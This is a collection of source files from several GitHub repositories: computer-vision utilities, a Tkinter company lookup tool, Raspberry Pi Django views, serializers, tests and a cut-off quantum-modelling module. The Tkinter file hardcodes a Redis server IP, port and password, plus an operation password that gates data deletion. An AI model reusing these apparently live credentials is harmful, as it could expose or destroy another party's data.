...].\n \"\"\"\n r_moving = []\n r_moving_dict = {}\n if len(pts_a) != len(pts_b):\n raise ValueError(\"in find_static_part, len(pts_a) != len(pts_b)\")\n for i, _ in enumerate(pts_a):\n new_vector = (pts_a[i][0], pts_a[i][1], 1)\n transform_vector = (np.dot(matrix_H, new_vector))\n r_distance = round(np.sum(np.subtract(transform_vector[:2]\n / transform_vector[2], pts_b[i]) ** 2) ** 0.5)\n r_moving.append(r_distance)\n if r_moving_dict.get(r_distance) is None:\n r_moving_dict[r_distance] = []\n r_moving_dict[r_distance].append(i)\n return r_moving_dict\n\n\ndef compute_homography(pts_a, pts_b, matrix_H_prev=None):\n \"\"\" To compute matrix described the change between static_pts_a and static_pts_b coordinates.\n\n Parameters\n ----------\n\n pts_a: np.array\n An array of x and y coordinates of each key point which matches with points from pts_b.\n\n pts_b: np.array\n An array of x and y coordinates of each key point which matches with points from pts_a.\n\n matrix_H_prev: np.array, optimal\n If you want to get a matrix describing the change between coordinates in the origin plane,\n you should specify homography matrix superposition\n between origin and frame_a (pts_a located on frame_a).\n\n\n Returns\n ----------\n matrix_H_new: np.array\n Matrix describing the change between static_pts_a and static_pts_b coordinates.\n \"\"\"\n if matrix_H_prev is not None:\n pts_a = np.apply_along_axis(\n homography_transformation, 1, pts_a, matrix_H_prev)\n pts_b = np.apply_along_axis(\n homography_transformation, 1, pts_b, matrix_H_prev)\n (matrix_H_new, status_new) = cv2.findHomography(\n np.array(pts_a), np.array(pts_b),\n cv2.RANSAC, THRESHOLD_FOR_FIND_HOMOGRAPHY)\n if np.sum(status_new) < LENGTH_ACCOUNTED_POINTS * len(status_new):\n raise HomographyException(\"not enough points in homography calculation\")\n if matrix_H_new is None:\n raise HomographyException()\n return matrix_H_new\n","repo_name":"gridl/EvenVizion","sub_path":"evenvizion/processing/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"39163297440","text":"#coding=utf-8\nfrom Tkinter import *\nfrom ttk import Combobox\nimport comp\nimport redis\nimport os\n\n\ndef get_path(ico):\n try:\n base_path = sys._MEIPASS\n except AttributeError:\n base_path = os.path.abspath(\".\")\n base_path=unicode(base_path,\"gb2312\")\n return os.path.join(base_path, ico)\n\n\nclass Application(Frame):\n\n def __init__(self,master):\n Frame.__init__(self,master)\n self.root = master\n self.root.title('company_info(Version:v1.0.3 Author:qing.guo)')\n self.root.geometry('720x460')\n self.root.resizable(0, 0) # 禁止调整窗口大小\n self.root.protocol(\"WM_DELETE_WINDOW\",self.close)\n self.root.iconbitmap(get_path('company.ico'))\n \n def creatWidgets(self):\n frame_left = Frame(self.root, width=360, height=460, bg='#C1CDCD')\n frame_right = Frame(self.root, width=360, height=460, bg='#C1CDCD')\n frame_left.grid_propagate(0)\n frame_right.propagate(0)\n frame_right.grid_propagate(0)\n frame_left.grid(row=0, column=0)\n frame_right.grid(row=0, column=1)\n \n self.v1 = StringVar()\n self.v2 = StringVar()\n \n \n Label(frame_left, text=u\"选择数据类型:\",bg='#C1CDCD').grid(row=0, column=0, pady=10, padx=5)\n self.cb1 = Combobox(frame_left,width=30,textvariable=self.v1)\n self.cb1.grid(row=0,column=1, columnspan=2,ipady=1, padx=5,pady=10,sticky=W)\n self.cb1['values']=[u'公司id',u'公司名称',u'机器人32位id或uid',u'服务器32位id或uid']\n self.cb1.current(0)\n \n Label(frame_left, text=u\"输入查询数据 :\", bg='#C1CDCD').grid(row=1, column=0, pady=10, padx=5)\n Entry(frame_left, width=33,textvariable=self.v2).grid(row=1,column=1,columnspan=2,padx=2,pady=10,ipady=2,sticky=W)\n self.b1=Button(frame_left, text=u\"查询归属公司id\",command=self.test1, bg='#C1CDCD')\n self.b1.grid(row=2,column=1,padx=5,pady=8)\n self.b2=Button(frame_left, text=u\"查询公司服务器\",command=self.test2, bg='#C1CDCD')\n self.b2.grid(row=3,column=1,padx=5,pady=8)\n\n self.b3=Button(frame_left, text=u\"查询公司机器人\",command=self.test3, bg='#C1CDCD')\n self.b3.grid(row=4,column=1,padx=5,pady=8)\n\n self.b4=Button(frame_left, text=u\"查询公司人员信息\",command=self.test4, bg='#C1CDCD')\n self.b4.grid(row=5,column=1,padx=5,pady=8)\n\n self.b5=Button(frame_left, text=u\"查询部门人员信息\",command=self.test5, bg='#C1CDCD')\n self.b5.grid(row=6,column=1,padx=5,pady=8)\n \n self.b6=Button(frame_left, text=u\"查询剩余可用服务器\",command=self.test6, bg='#C1CDCD')\n self.b6.grid(row=7,column=1,padx=5,pady=8)\n \n self.b7=Button(frame_left, text=u\"查询剩余可用机器人\",command=self.test7, bg='#C1CDCD')\n self.b7.grid(row=8,column=1,padx=5,pady=8)\n\n self.b8=Button(frame_left, text=u\"删除当前公司所有信息\",command=self.test8,bg='#C1CDCD')\n self.b8.grid(row=9,column=1,padx=5,pady=8)\n \n #Scrollbar\n scrollbar = Scrollbar(frame_right,bg='#C1CDCD')\n scrollbar.pack(side=RIGHT, fill=Y)\n self.text_msglist = Text(frame_right, yscrollcommand=scrollbar.set,bg='#C1CDCD')\n self.text_msglist.pack(side=RIGHT, fill=BOTH)\n scrollbar['command'] = self.text_msglist.yview\n self.text_msglist.tag_config('green', foreground='#008B00')\n self.text_msglist.tag_config('blue', foreground='#0000FF')\n self.text_msglist.tag_config('red', foreground='#FF3030')\n\n \n \n \n def test(self,flag):\n r=redis.StrictRedis(host='58.60.230.238',port=6278,db=0,password='qhkj_redis_987',encoding='utf-8',socket_timeout=5)\n self.com=comp.Company(flag,r,app)\n self.com.setDaemon(True)\n self.com.start()\n \n def check(self,flag):\n r=redis.StrictRedis(host='58.60.230.238',port=6278,db=0,password='qhkj_redis_987',encoding='utf-8',socket_timeout=5)\n self.v3 = StringVar()\n window = Toplevel(self,bg='#C1CDCD')\n window.title('check permission')\n window.geometry('400x100')\n window.resizable(0, 0) # 禁止调整窗口大小\n Label(window,text=u'请输入操作密码:',bg='#C1CDCD').grid(row=0, column=0,pady=10, padx=5)\n e=Entry(window, width=30,textvariable=self.v3)\n e.grid(row=0,column=1,padx=5,pady=10,sticky=W)\n e.focus()\n self.v3.set('')\n r.set('comp_pwd','qhkj_987',nx=True)\n def check_pwd():\n input_pwd=self.v3.get()\n redis_pwd=r.get('comp_pwd')\n if input_pwd==redis_pwd:\n if flag==6:\n self.b6.config(state='disabled')\n self.test(6)\n elif flag==7:\n self.b7.config(state='disabled')\n self.test(7)\n elif flag==8:\n self.b8.config(state='disabled')\n self.test(8)\n else:\n self.text_msglist.insert(END,\"输入密码错误\\n\",'red')\n window.destroy()\n\n Button(window, text=u\"确定\",width=20,command=check_pwd,bg='#C1CDCD').grid(row=1, column=1,pady=10, padx=5)\n window.protocol(\"WM_DELETE_WINDOW\", window.destroy)\n \n \n def test1(self):\n self.b1.config(state='disabled')\n self.test(1)\n def test2(self):\n self.b2.config(state='disabled')\n self.test(2)\n def test3(self):\n self.b3.config(state='disabled')\n self.test(3)\n def test4(self):\n self.b4.config(state='disabled')\n self.test(4)\n def test5(self):\n self.b5.config(state='disabled')\n self.test(5)\n def test6(self):\n self.check(6)\n def test7(self):\n self.check(7)\n def test8(self):\n self.check(8)\n def close(self):\n self.root.quit()\n self.root.destroy()\n\n \nif __name__ == \"__main__\":\n \n root=Tk()\n app=Application(root)\n app.creatWidgets()\n app.mainloop()\n \n\n \n \n\n","repo_name":"QingLang0213/Company_info","sub_path":"src/comp_ui.py","file_name":"comp_ui.py","file_ext":"py","file_size_in_byte":6596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"37411773883","text":"from django.shortcuts import render\nimport RPi.GPIO as GPIO\nimport Adafruit_DHT\nimport time\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_SSD1306\nfrom PIL import Image\nfrom PIL import ImageDraw\nfrom PIL import ImageFont\n\nRST = None\nDC = 23\nSPI_PORT = 0\nSPI_DEVICE = 0\ndisp = Adafruit_SSD1306.SSD1306_128_32(rst=RST)\ndisp.begin()\ndisp.clear()\ndisp.display()\nwidth = disp.width\nheight = disp.height\nimage = Image.new('1', (width, height))\ndraw = ImageDraw.Draw(image)\ndraw.rectangle((0,0,width,height), outline=0, fill=0)\npadding = -2\ntop = padding\nbottom = height-padding\nx = 0\nfont = ImageFont.load_default() \nsensor = Adafruit_DHT.DHT11\nGPIO.setmode(GPIO.BCM)\nled_pin = 20\ntemp_pin = 21\nGPIO.setup(led_pin,GPIO.OUT)\n\ndef index(request):\n\thum,temperature = Adafruit_DHT.read_retry(sensor,temp_pin)\n\tvalue = str(temperature)\n\treturn render(request,\"home.html\",{\"temp\":value})\n\ndef led(request):\n\tif request.method==\"POST\":\n\t\thum,temperature = Adafruit_DHT.read_retry(sensor,temp_pin)\n\t\tvalue = request.POST.get('led_status')\n\t\tif(value==\"on\"):\n\t\t\tGPIO.output(led_pin,GPIO.HIGH)\n\t\telif(value==\"off\"):\n\t\t\tGPIO.output(led_pin,GPIO.LOW)\n\t\treturn render(request,\"home.html\",{\"temp\":temperature})\n\telse:\n\t\treturn render(request,\"home.html\")\n\ndef oled(request):\n\tif request.method==\"POST\":\n\t\thum,temperature = Adafruit_DHT.read_retry(sensor,temp_pin)\n\t\tvalue = str(temperature)\n\t\tdisp.clear()\n\t\tvalue = request.POST.get(\"oled\")\n\t\tdraw.text((x, top),str(value), font=font, fill=255)\n\t\tdisp.image(image)\n\t\tdisp.display()\n\t\ttime.sleep(.1)\n\t\treturn render(request,\"home.html\",{\"temp\":temperature})\n\telse:\n\t\treturn render(request,\"home.html\") \n","repo_name":"shantanunandan/IOT","sub_path":"django-B-8/django-B-8/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16316247808","text":"'''\n8 x 8 좌표 평면, 이 공간 밖으로는 이동 할 수 없다.\n\n체스 나이트 이동 방법\n 1. 수평 두 칸 + 수직 한 칸\n 2. 수직 두 칸 + 수평 한 칸\n\n행 : 1~8\n열 : a~h\n'''\n\nstartAt = input()\nstartRow = int(startAt[1])\nstartCol = int(ord(startAt[0])) - int(ord('a')) + 1\n\n# 나이트가 이동할 수 있는 8가지 방향 정의 : 튜플 활용 (row, col)\nsteps = [(-2, -1), (-1, -2), (1, -2), (2, -1), (2, 1), (1, 2), (-1, 2), (-2, 1)]\n\n\nresult = 0\nfor step in steps:\n nextRow = startRow + step[0]\n nextCol = startCol + step[1]\n if nextRow >= 1 and nextRow <= 8 and nextCol >=1 and nextCol <= 8:\n result += 1\n\nprint(result)\n\n","repo_name":"imysh578/Self-Study","sub_path":"python/study/algorithm/implementation/chess_knight.py","file_name":"chess_knight.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"24100653198","text":"from rest_framework import serializers\n\nfrom core import models\n\n\nclass EventSerializer(serializers.ModelSerializer):\n \"\"\"Serializers for event data\"\"\"\n class Meta:\n model = models.Event\n fields = ('id', 'provider')\n\n\nclass LaunchSerializer(serializers.ModelSerializer):\n \"\"\"Serializers for Launch data\"\"\"\n class Meta:\n model = models.Launch\n fields = ('id', 'provider')\n\n\nclass ArticleSerializer(serializers.ModelSerializer):\n \"\"\"Serialier for Article data\"\"\"\n launches = LaunchSerializer(many=True)\n events = EventSerializer(many=True)\n class Meta:\n model = models.Article\n fields = (\n 'id', 'featured', 'title', 'url', 'imageUrl', 'newsSite',\n 'summary', 'publishedAt', 'launches', 'events'\n )\n\n def create(self, validated_data):\n launches_data = validated_data.pop('launches', None)\n events_data = validated_data.pop('events', None)\n article = models.Article.objects.create(**validated_data)\n\n if launches_data:\n list_launch = []\n for launch in launches_data:\n new_launch = models.Launch.objects.create(**dict(launch))\n list_launch.append(new_launch)\n article.launches.set(list_launch)\n article.save()\n\n if events_data:\n list_event = []\n for event in events_data:\n new_event = models.Event.objects.create(**dict(event))\n list_event.append(new_event)\n article.events.set(list_event)\n article.save()\n \n return article\n\n def update(self, instance, validated_data):\n launches_data = validated_data.pop('launches', None)\n events_data = validated_data.pop('events', None)\n models.Article.objects.filter(id=instance.id).update(\n **validated_data\n )\n\n instance = models.Article.objects.get(id=instance.id)\n\n if launches_data:\n list_launch = []\n for launch in launches_data:\n new_launch = models.Launch.objects.create(**dict(launch))\n list_launch.append(new_launch)\n instance.launches.set(list_launch)\n instance.save()\n \n if events_data:\n list_event = []\n for event in events_data:\n new_event = models.Event.objects.create(**dict(event))\n list_event.append(new_event)\n instance.events.set(list_event)\n instance.save()\n return instance","repo_name":"gbr-mendes/space-flight-news","sub_path":"app/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4266667120","text":"import logging\nimport os\n\nimport climetlab as cml\n\nfrom .tools import parse_args\n\nLOG = logging.getLogger(__name__)\n\n\ndefault_keys = [\"param\", \"time\", \"date\", \"step\", \"levelist\"]\n\n\nclass AvailabilityCmd:\n @parse_args(\n source=(\n None,\n dict(\n type=str,\n help=\"File or directory for describing a dataset or source of data with GRIB data.\",\n ),\n ),\n stdout=dict(action=\"store_true\", help=\"Output to stdout (no file).\"),\n yaml=dict(action=\"store_true\", help=\"Output yaml format.\"),\n keys=(\n \"--keys\",\n dict(\n type=str,\n help=f\"Keys to use in availability default is ({','.join(default_keys)}).\",\n nargs=\"+\",\n ),\n ),\n )\n def do_availability(self, args):\n \"\"\"Create json availability file.\"\"\"\n\n keys = args.keys\n if keys == []:\n keys = default_keys\n\n if keys == [\"*\"]:\n keys = None\n\n self.avail = None\n\n path = args.source\n\n if not os.path.exists(path):\n print(f\"{path} does not exists.\")\n return\n\n if os.path.isdir(path):\n source = availability_of_directory(path)\n else:\n source = availability_of_file(path)\n\n availability = source._custom_availability(keys=keys)\n\n if args.yaml:\n print(availability.to_yaml())\n return\n\n if args.stdout:\n print(availability.tree())\n return\n\n # self.write(availability, source.availability_path)\n\n # def write(self, avail, output):\n # if os.path.exists(output):\n # i = 1\n # while os.path.exists(f\"{output}.{i}\"):\n # i += 1\n # output = f\"{output}.{i}\"\n # print(f\"File already exists, writing to {output}\")\n\n # avail.to_pickle(output)\n\n\ndef availability_of_directory(dirpath):\n db_path = os.path.join(dirpath, \"climetlab-2.db\")\n if not os.path.exists(db_path):\n print(f\"ERROR: this directory is not indexed yet, cannot find {db_path}.\")\n\n source = cml.load_source(\"indexed-directory\", dirpath)\n return source\n\n\ndef availability_of_file(path):\n # if magic = \"SQLite\"...\n return cml.load_source(\"file\", path)\n","repo_name":"ecmwf/climetlab","sub_path":"climetlab/scripts/availability.py","file_name":"availability.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":333,"dataset":"github-code","pt":"62"} +{"seq_id":"30702370336","text":"import torch as th\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.optim import RMSprop\n\nclass RepresentationRNNAgent(nn.Module):\n def __init__(self, input_shape, args):\n super(RepresentationRNNAgent, self).__init__()\n self.args = args\n self.fc1 = nn.Linear(input_shape, args.rnn_hidden_dim)\n self.rnn = nn.GRUCell(args.rnn_hidden_dim, args.rnn_hidden_dim)\n self.fc2 = nn.Linear(args.rnn_hidden_dim, args.rnn_hidden_dim)\n self.fc3 = nn.Linear(args.rnn_hidden_dim, args.n_actions)\n self.decoder = nn.Linear(args.rnn_hidden_dim, input_shape)\n self.params = list(self.parameters())\n self.optimiser = RMSprop(params=self.params, lr=args.lr, alpha=args.optim_alpha, eps=args.optim_eps)\n\n def init_hidden(self):\n # make hidden states on same device as model\n return self.fc1.weight.new(1, self.args.rnn_hidden_dim).zero_()\n\n def forward_all(self, inputs, hidden_state, detach_hidden=True):\n x = F.relu(self.fc1(inputs))\n h_in = hidden_state.reshape(-1, self.args.rnn_hidden_dim)\n h = self.rnn(x, h_in)\n if detach_hidden:\n h = h.detach()\n dec = self.decoder(h)\n q = self.fc2(h)\n q = F.relu(q)\n q = self.fc3(q)\n return q, h, dec\n\n def forward(self, inputs, hidden_state):\n q, h, _ = self.forward_all(inputs, hidden_state, detach_hidden=True)\n return q, h\n\n def train_representation(self, inputs, batch_size):\n hidden_states = self.init_hidden().unsqueeze(0).expand(batch_size, self.args.n_agents, -1)\n current_inputs = inputs[:-1]\n next_inputs = inputs[1:]\n losses = []\n for current, next in zip(current_inputs, next_inputs):\n _, hidden_states, dec = self.forward_all(current, hidden_states, detach_hidden=False)\n losses.append(F.mse_loss(next, dec))\n loss = th.stack(losses).sum()\n self.optimiser.zero_grad()\n loss.backward()\n grad_norm = th.nn.utils.clip_grad_norm_(self.params, self.args.grad_norm_clip)\n self.optimiser.step()\n\n \n \n","repo_name":"thomyphan/messy_smac","sub_path":"src/modules/agents/rep_rnn_agent.py","file_name":"rep_rnn_agent.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"23152339354","text":"\"\"\"\n{\n \"name\": \"Tex renderer\",\n \"description\": \"Affiche des maths depuis Tex\",\n \"functions\": [\n {\n \"name\": \"tex\",\n \"description\": \"\",\n \"arguments\": []\n }\n ]\n}\n\"\"\"\n\nfrom PySide6.QtGui import QPixmap\nfrom matplotlib import pyplot as plt, font_manager\nfrom PySide6.QtWidgets import QToolBar,QStatusBar,QScrollArea,QApplication, QFrame, QGridLayout, QLabel, QLineEdit, QMainWindow, QSplitter, QTextEdit\nfrom PySide6.QtSvgWidgets import QSvgWidget\nfrom io import BytesIO\n\ndef tex():\n App()\n\nmain = tex\n\nclass App():\n def __init__(self):\n plt.rc('mathtext', fontset='cm')\n self.app = QApplication.instance()\n if self.app:\n self.AlreadyApp = True\n else:\n self.AlreadyApp = False\n self.app = QApplication()\n\n self.window = Window(self)\n\n if not self.AlreadyApp:\n self.app.exec()\n\n\nclass Window(QMainWindow):\n def __init__(self,app:App):\n super().__init__()\n self.app = app\n \n self.splitter = QSplitter()\n self.setCentralWidget(self.splitter)\n\n self.status = StatusBar(self)\n self.toolBar = ToolBar(self)\n self.input = Input(self)\n self.output = Output(self)\n \n self.setStatusBar(self.status)\n self.addToolBar(self.toolBar)\n\n self.splitter.addWidget(self.input)\n self.splitter.addWidget(self.output)\n\n\n self.show()\n\n def renderTex(self, text:str):\n try :\n fig = plt.figure(figsize=(1, 1))\n fig.text(0, 0, r'${}$'.format(text), fontsize=20)\n\n output = BytesIO()\n fig.savefig(output, dpi=1024, transparent=True, format='png',\n bbox_inches='tight', pad_inches=0.0, frameon=False)\n plt.close(fig)\n\n output.seek(0)\n self.output.setImage(output.read())\n # self.output.setSvg(output.read())\n except Exception as err:\n self.status.showMessage(\"Une erreur s'est produite !\")\n print(err)\n \n \nclass StatusBar(QStatusBar):\n def __init__(self, window: Window):\n super().__init__()\n self.window = Window\n \nclass ToolBar(QToolBar):\n def __init__(self, window: Window):\n super().__init__()\n self.window = Window\n\nclass Input(QTextEdit):\n def __init__(self, window:Window):\n super().__init__()\n self.textChanged.connect(lambda : window.renderTex(self.toPlainText()))\n\nclass Output(QScrollArea):\n def __init__(self, window:Window):\n super().__init__()\n self.window = window\n self.horizontalScrollBar()\n self.image = QLabel()\n self.window.status.showMessage(\"Tapez quelque chose ...\")\n self._layout = QGridLayout()\n self._layout.addWidget(self.image, 0,0)\n self.setLayout(self._layout)\n\n def setImage(self, img):\n pixmap = QPixmap()\n pixmap.loadFromData(img)\n self.image.setPixmap(pixmap)\n self.updateSize()\n self.window.status.showMessage(\"Success !!\")\n \n def setSvg(self, svg):\n self.image.deleteLater()\n self.image = QSvgWidget()\n self.image.load(svg)\n self.image.setFixedWidth(200)\n self.image.setFixedHeight(200)\n self._layout.addWidget(self.image, 0, 0)\n self.self.window.status.showMessage(\"Success !!\")\n \n def updateSize(self):\n self.image.setMaximumHeight(self.window.height())\n self.image.setMaximumWidth(self.window.output.width())","repo_name":"0xybo/Python","sub_path":"files/Perso/tex_renderer.py","file_name":"tex_renderer.py","file_ext":"py","file_size_in_byte":3584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38633824574","text":"\"\"\"\nTest suite for the ``metadata`` package.\n\nTODO: Cache tests\n\n\"\"\"\n\nfrom django.db import models\nfrom django.test import TestCase\nfrom django.utils import timezone\n\nfrom metadata.mixins import MetadataSubjectMixin\nfrom metadata.models import PackageEntry\nfrom metadata.models import TextMetadata, ImageMetadata\n\n\nclass MetadataSubjectTest(models.Model,\n MetadataSubjectMixin):\n \"\"\"\n Test metadata subject model.\n\n \"\"\"\n test = models.TextField()\n\n def packages(self):\n return self.metadatasubjecttestpackageentry_set\n\n def range_start(self):\n return timezone.now().replace(day=1, month=5, year=2008)\n\n def metadata_strands(self):\n return {\n 'text': self.metadatasubjecttesttextmetadata_set,\n 'image': self.testimagemetadata_set,\n }\n\n class Meta(object):\n app_label = 'metadata'\n\n @classmethod\n def make_foreign_key(cls, nullable=False):\n return models.ForeignKey(\n cls,\n blank=nullable,\n null=nullable,\n )\n\nMetadataSubjectTestTextMetadata = TextMetadata.make_model(\n MetadataSubjectTest,\n 'metadata',\n fkey=MetadataSubjectTest.make_foreign_key(nullable=True)\n)\n\nMetadataSubjectTestPackageEntry = PackageEntry.make_model(\n MetadataSubjectTest,\n 'metadata',\n fkey=MetadataSubjectTest.make_foreign_key(nullable=True)\n)\n\n# See if overriding as much as possible works\nTestImageMetadata = ImageMetadata.make_model(\n MetadataSubjectTest,\n 'metadata',\n model_name='TestImageMetadata',\n table='frobnik',\n id_column='foobles',\n fkey=MetadataSubjectTest.make_foreign_key(nullable=True),\n)\n\n\nclass PackageTest(TestCase):\n \"\"\"\n Tests to see if the metadata packages system is hooked in\n correctly and used as a fallback metadata source.\n\n \"\"\"\n fixtures = ['test_people', 'metadata_test', 'package_test']\n\n def test_text(self):\n \"\"\"\n Tests whether the package is used to provide default textual\n metadata.\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n\n # This should not be overridden by the package metadata,\n # as it exists in the model's own metadata.\n self.assertEqual(\n subject.metadata['text']['single'],\n 'moof!'\n )\n # However, this should be provided by the package.\n self.assertEqual(\n subject.metadata['text']['nothere'],\n 'yes it is!'\n )\n # TODO: Possibly unregister hook and try again, to see if\n # this causes the above to fail.\n\n\nclass SingleMetadataDictTest(TestCase):\n \"\"\"\n Tests to see if the dictionary access method for metadata is\n functional on single-entry metadata.\n\n \"\"\"\n fixtures = ['test_people', 'metadata_test']\n\n def test_text_in(self):\n \"\"\"\n Tests whether the metadata view supports 'in'.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n self.assertTrue('text' in subject.metadata)\n self.assertTrue('single' in subject.metadata['text'])\n\n def test_text_get(self):\n \"\"\"\n Tests whether getting textual metadata works.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n # Should return the latest active piece of metadata\n # relative to range_start, i.e. pk 1\n self.assertEqual(\n subject.metadata['text']['single'],\n 'moof!'\n )\n # Should raise KeyError for a nonexistent key...\n with self.assertRaises(KeyError):\n subject.metadata['text']['notakey']\n # Should raise KeyError for a nonexistent value...\n with self.assertRaises(KeyError):\n subject.metadata['text']['nothere']\n\n # Since text is the default strand for our test model,\n # this shorthand should work:\n self.assertEqual(\n subject.single,\n 'moof!'\n )\n\n def test_image_get(self):\n \"\"\"\n Tests whether getting image metadata works.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n self.assertEqual(\n subject.metadata['image']['single'],\n 'nothere.png'\n )\n # Should raise KeyError for a nonexistent key...\n with self.assertRaises(KeyError):\n subject.metadata['image']['nothere']\n\n def test_default(self):\n \"\"\"\n Tests whether default metadata works as expected.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n self.assertEqual(\n subject.metadata['text']['defaulttest'],\n 'defaultWorks'\n )\n\n self.assertEqual(\n subject.metadata['image']['defaulttest'],\n 'thisShouldAppear'\n )\n\n def test_effective_range(self):\n \"\"\"\n Tests whether the single metadata getting system correctly\n respects the *effective_from* and *effective_to* bounds.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n meta_far_past, meta_past, meta_future, meta_far_future = (\n subject.metadata_at(subject.range_start().replace(year=x))\n for x in (1970, 2006, 2020, 2422)\n )\n\n # meta_far_past is before any metadatum's effective_from,\n # so attempting to get metadata during it should raise\n # KeyError\n with self.assertRaises(KeyError):\n meta_far_past['text']['single']\n self.assertFalse('single' in meta_far_past['text'])\n\n # During the time period of meta_past, only the 'zillyhoo'\n # value of 'single' is active, and thus it isn't overridden\n # by 'moof!', thus this should check out.\n self.assertEqual(\n meta_past['text']['single'],\n 'zillyhoo'\n )\n self.assertTrue('single' in meta_past['text'])\n\n # At 2020, the active value of 'single' should be 'bank' as\n # it is effective later than anything else, but doesn't\n # expire until 2030.\n self.assertEqual(\n meta_future['text']['single'],\n 'bank'\n )\n self.assertTrue('single' in meta_future['text'])\n\n # And in the far future, the latest value of 'single' should\n # be 'wello'; 'bank' has expired.\n self.assertEqual(\n meta_far_future['text']['single'],\n 'wello'\n )\n self.assertTrue('single' in meta_far_future['text'])\n\n\nclass MultipleMetadataDictTest(TestCase):\n \"\"\"\n Tests to see if the dictionary access method for metadata is\n functional on multiple-entry metadata.\n\n \"\"\"\n fixtures = ['test_people', 'metadata_test']\n\n def test_text_in(self):\n \"\"\"\n Tests whether the metadata view supports 'in'.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n self.assertTrue('text' in subject.metadata)\n self.assertTrue('multiple' in subject.metadata['text'])\n\n def test_text_get(self):\n \"\"\"\n Tests whether getting textual metadata works.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n # Should return all active metadata at the\n # relative to range_start.\n self.assertEqual(\n subject.metadata['text']['multiple'],\n {u'elementA', u'elementB'}\n )\n # Should raise KeyError for a nonexistent key...\n with self.assertRaises(KeyError):\n subject.metadata['text']['notakey']\n # ...but should return the empty set for a valid empty key.\n self.assertEqual(\n subject.metadata['text']['notheremul'],\n set()\n )\n\n # Since text is the default strand for our test model,\n # this shorthand should work:\n self.assertItemsEqual(\n subject.multiple,\n [u'elementB', u'elementA']\n )\n\n def test_image_get(self):\n \"\"\"\n Tests whether getting image metadata works.\n\n \"\"\"\n subject = MetadataSubjectTest.objects.get(pk=1)\n md = subject.metadata['image']['multiple']\n\n self.assertIsInstance(md, set)\n self.assertTrue(len(md) == 1)\n\n self.assertIn(\n u'singleton.jpg',\n subject.metadata['image']['multiple']\n )\n # Should give the empty set for a valid but empty key.\n self.assertEqual(\n subject.metadata['image']['notheremul'],\n set()\n )\n","repo_name":"MattWindsor91/django-lass-metadata","sub_path":"metadata/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":8427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38828881943","text":"import _collections\nimport functools as _functools\nimport itertools as _itertools\n\nimport numpy as _np\n\nfrom .complementeffect import ComplementPOVMEffect\nfrom .composedeffect import ComposedPOVMEffect\nfrom .composedpovm import ComposedPOVM\nfrom .computationaleffect import ComputationalBasisPOVMEffect\nfrom .computationalpovm import ComputationalBasisPOVM\nfrom .conjugatedeffect import ConjugatedStatePOVMEffect\nfrom .effect import POVMEffect\nfrom .fulleffect import FullPOVMEffect\nfrom .fullpureeffect import FullPOVMPureEffect\nfrom .marginalizedpovm import MarginalizedPOVM\nfrom .povm import POVM\nfrom .staticeffect import StaticPOVMEffect\nfrom .staticpureeffect import StaticPOVMPureEffect\nfrom .tensorprodeffect import TensorProductPOVMEffect\nfrom .tensorprodpovm import TensorProductPOVM\nfrom .tppovm import TPPOVM\nfrom .unconstrainedpovm import UnconstrainedPOVM\nfrom pygsti.baseobjs import statespace as _statespace\nfrom pygsti.tools import basistools as _bt\nfrom pygsti.tools import optools as _ot\n\n# Avoid circular import\nimport pygsti.modelmembers as _mm\n\n\ndef create_from_pure_vectors(pure_vectors, povm_type, basis='pp', evotype='default', state_space=None,\n on_construction_error='warn'):\n \"\"\" TODO: docstring -- create a POVM from a list/dict of (key, pure-vector) pairs \"\"\"\n povm_type_preferences = (povm_type,) if isinstance(povm_type, str) else povm_type\n if not isinstance(pure_vectors, dict): # then assume it's a list of (key, value) pairs\n pure_vectors = _collections.OrderedDict(pure_vectors)\n if state_space is None:\n state_space = _statespace.default_space_for_udim(len(next(iter(pure_vectors.values()))))\n\n for typ in povm_type_preferences:\n try:\n if typ == 'computational':\n povm = ComputationalBasisPOVM.from_pure_vectors(pure_vectors, evotype, state_space)\n #elif typ in ('static stabilizer', 'static clifford'):\n # povm = ComputationalBasisPOVM(...evotype='stabilizer') ??\n elif typ in ('static pure', 'full pure', 'static', 'full'):\n effects = [(lbl, create_effect_from_pure_vector(vec, typ, basis, evotype, state_space))\n for lbl, vec in pure_vectors.items()]\n povm = UnconstrainedPOVM(effects, evotype, state_space)\n elif typ == 'full TP':\n effects = [(lbl, create_effect_from_pure_vector(vec, \"full\", basis, evotype, state_space))\n for lbl, vec in pure_vectors.items()]\n povm = TPPOVM(effects, evotype, state_space)\n elif _ot.is_valid_lindblad_paramtype(typ):\n from ..operations import LindbladErrorgen as _LindbladErrorgen, ExpErrorgenOp as _ExpErrorgenOp\n from ..operations import IdentityPlusErrorgenOp as _IdentityPlusErrorgenOp\n from ..operations import LindbladParameterization as _LindbladParameterization\n lndtype = 